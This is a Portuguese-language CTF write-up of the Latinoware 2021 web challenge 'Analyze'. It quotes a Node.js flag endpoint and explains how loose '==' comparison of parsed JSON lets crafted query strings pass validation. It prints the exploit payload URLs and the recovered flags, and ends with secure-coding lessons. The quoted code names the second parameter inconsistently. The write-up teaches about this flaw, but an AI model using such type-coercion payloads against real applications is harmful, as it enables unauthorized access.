Este post descreve a solução de um desafio web do Latinoware 2021,
focando em revisão de código, coerção de tipos e falhas de lógica em aplicações Node.js.
Contexto
A 18ª Conferência Latino-Americana de Software Livre e Tecnologias Abertas (Latinoware) ocorreu entre 13 e 15 de outubro de 2021.
Além das palestras técnicas, o evento promoveu um Capture The Flag (CTF) com desafios sobre segurança web, criptografia e engenharia reversa.
Este write-up foca no desafio web Analyze.
Visão Geral do Desafio
O desafio Analyze é um problema web centrado em revisão de código.
Os participantes têm acesso ao código-fonte completo de uma aplicação Node.js e devem identificar falhas de lógica para recuperar a flag.
Endpoints Disponíveis
Pela interface do desafio, os seguintes endpoints são expostos:
/– Página principal (conteúdo estático)/code– Retorna o código-fonte completo da aplicação/flag– Endpoint responsável pela validação da flag
Análise Inicial
Antes de inspecionar o código, já podemos inferir algumas coisas:
- A flag é obtida via endpoint
/flag - Dois parâmetros de query são exigidos
- A entrada do usuário é parseada como JSON
- A lógica de validação é customizada e não trivial
Essas observações sugerem fortemente um cenário de falha de lógica ou confusão de tipos.
Código Relevante
A lógica crítica reside dentro do endpoint /flag:
app.get('/flag', (req, res) => {
if(req.query['xXxXxXx'] === undefined || req.query['yYyYyY'] === undefined){
return res.send('something wrong is not right with your analysis.')
}
var xXxxXx = req.query['xXxXxXx'].trim().substring(0,14)
var yYyyYy = req.query['yYyYyYy'].trim().substring(0,14)
if(xXxxXx.length !== yYyyYy.length || xXxxXx === yYyyYy){
return res.send('something wrong is not right with your analysis.')
}
const oBjObJx = JSON.parse(xXxxXx)
const oBjObJy = JSON.parse(yYyyYy)
if(oBjObJx['xXxxXx'] == oBjObJy['yYyYy']){
return res.send(ANaLYzEANaLYzE)
} else {
return res.send('something wrong is not right with your analysis.')
}
});
Entendendo a Falha de Lógica
O endpoint impõe várias condições:
- Ambos os parâmetros devem existir
- Ambos os parâmetros devem ter o mesmo comprimento
- As strings brutas não podem ser idênticas
- Os valores JSON parseados são comparados usando
==
Observação chave:
Usar==permite coerção de tipos em JavaScript, o que pode ser explorado quando a comparação envolve entrada controlada pelo usuário.
Estratégia de Exploração
Para recuperar a flag, todas as condições de validação devem ser satisfeitas simultaneamente.
Construção do Payload
Um payload ingênuo falha por causa de diferença de tamanho:
/flag?xXxXxXx={"xXxxXx":1}&yYyYyYy={"yYyYy":1}
Compensando o comprimento das strings:
/flag?xXxXxXx={"xXxxXx":1}&yYyYyYy={"yYyYy":10}
Finalmente, abusando da coerção de tipos do JavaScript:
/flag?xXxXxXx={"xXxxXx":0}&yYyYyYy={"yYyYy":""}
Esse payload retorna a flag com sucesso:
LW2021{m3m3_5ucc3s5fully_an4lyz3d}
Desafio Bônus: m0r3m3m35
Uma segunda versão adiciona uma checagem de validação adicional, mas o mesmo payload continua válido.
/flag?xXxXxXx={"xXxxXx":0}&yYyYyYy={"yYyYy":""}
Retornando:
LW2021{wr0ng_m3m3_an4lyz3d}
Conclusões
- Evite comparações frouxas (
==) com entrada controlada pelo usuário - Sempre valide tanto o tipo quanto a estrutura ao parsear JSON
- Falhas de lógica podem ser tão perigosas quanto vulnerabilidades por injeção
- Desafios de revisão de código frequentemente escondem problemas críticos à vista